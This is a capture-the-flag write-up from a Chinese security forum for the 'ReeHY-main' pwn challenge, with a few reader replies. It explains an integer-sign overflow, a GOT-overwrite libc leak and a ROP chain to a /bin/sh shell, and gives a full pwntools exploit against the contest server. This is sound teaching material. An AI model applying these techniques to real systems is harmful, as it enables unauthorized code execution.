首页
社区
课程
招聘
[原创]ReeHY-main Pwnable writeup
2017-6-8 11:16 6067

[原创]ReeHY-main Pwnable writeup

2017-6-8 11:16
6067

……听说看雪有CTF……还是唯一一题pwn,所以过来看了一眼……典型菜单题,逆向很简单

虽然有show,但是没有任何信息会被打印出来,找不到info leak (姿势水平不够……)

这时候看见create那里有个整形符号的bug,所以直接就去搞那个了……

这个地方假如输入的bytes是0x80000000的话就会过这个检测,但是会malloc一个很大的值,memcpy一个很大的值,stack会被覆盖  (这里有个坑,因为read_int只接受10个数字,所以不能加换行……于是调试用pwntools进行,代码如下)

memcpy下断点稍微调了调 (这里使用了pwndbg,感觉比peda好用一些), 发现可以控制memcpy的所有参数

用pwn cyclic -l 找对应的偏移

由于之后会call fflush,所以用memcpy改掉了fflush的got到puts的plt上,同时改掉了stdout指向任意一个调用过的libc的got (ELF lazy binding 机制)(这里使用的是puts),这样当函数执行到fflush的时候会执行puts(.plt.got['puts']),于是拿到libc的地址偏移

使用libc-database dump出libc的地址 (这里使用本地libc,之后切换到远程的libc)

输出结果

之后ROPGadget找可用的gadget,纯rop起调shell(rop进一个read改写exit的got为system,更改rsi为 /bin/sh 地址 (之前已memcpy到data段上),跳到exit)

enjoy your shell :P

full exploit

from pwn import *
#env = {'LD_PRELOAD':'./ctflibc.so.6'}
env = {}
PUTS = 0x6cee0
SYSTEM = 0x41fd0
elf = ELF('./problem')
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
FFLUSH = elf.got['fflush']
STDOUT = elf.symbols['stdout']
READ = elf.symbols['read']
EXIT = elf.got['exit']
POP_RDI = 0x400da3
POP_RSI_R15 = 0x400da1
#r = process('./problem', env=env)
r = remote('211.159.216.90', 51888)
r.recvuntil('$ ')
r.sendline('A')
r.recvuntil('$ ')
r.sendline('1')
r.recvuntil('Input size\n')
r.send(str(0x80000000))
r.recvuntil('Input cun\n')
r.sendline('0')
r.recvuntil('Input content\n')
#gdb.attach(r)
payload = list(cyclic(144))
payload[:8] = p64(PUTS_PLT) # memcpy src
payload[8:16] = '/bin/sh\x00' # /bin/sh str
payload[56:64] = p64(PUTS_GOT) # overwritten stdout
payload[128:136] = p64(FFLUSH) # memcpy dst
payload[136:140] = p32(0)
payload[140:144] = p32(STDOUT - FFLUSH + 8) # memcpy size
r.send("".join(payload) + 'A' * 8 + p64(POP_RDI) + p64(0) + p64(POP_RSI_R15) + p64(EXIT) + p64(0)+ p64(READ) + p64(POP_RDI) + p64(0x602050) + p64(POP_RSI_R15) + p64(0) * 2 + p64(0x400d20))
puts = r.recv().strip()
puts = u64(puts + '\x00\x00')
log.info("puts at %s" % hex(puts))
system = puts - PUTS + SYSTEM
log.info("system at %s" % hex(system))
r.send(p64(system))
r.interactive()

运行结果

活生生把一道heap题做成了stack题……23333……有人有heap的解法的告诉我一声……学习一下……


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 32410
活跃值: (18730)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2017-6-9 20:14
2
0
听说看雪有CTF……还是唯一一题pwn,所以过来看了一眼……典型菜单题,逆向很简单

还有一题,欢迎到时参与:

雪    币: 209
活跃值: (54)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
FloatGuy 2017-6-21 21:41
3
0
你好    问下你遇到malloc(0x80000000)失败的情况了吗?  我在我的电脑上(ubuntu  64bit  8G内存)  跑脚本,每次执行malloc  都失败,  但是单独写个测试程序可以malloc    2G成功。
雪    币: 236
活跃值: (155)
能力值: ( LV8,RANK:137 )
在线值:
发帖
回帖
粉丝
TacXingXing 2017-11-4 01:22
4
0
好思路!
雪    币: 260
活跃值: (39)
能力值: ( LV9,RANK:144 )
在线值:
发帖
回帖
粉丝
THREAD 2018-5-13 22:41
5
0
牛逼
雪    币: 44
活跃值: (51)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
潇洒蛋 2019-6-16 14:28
6
0
这个。属实是强
游客
登录 | 注册 方可回帖
返回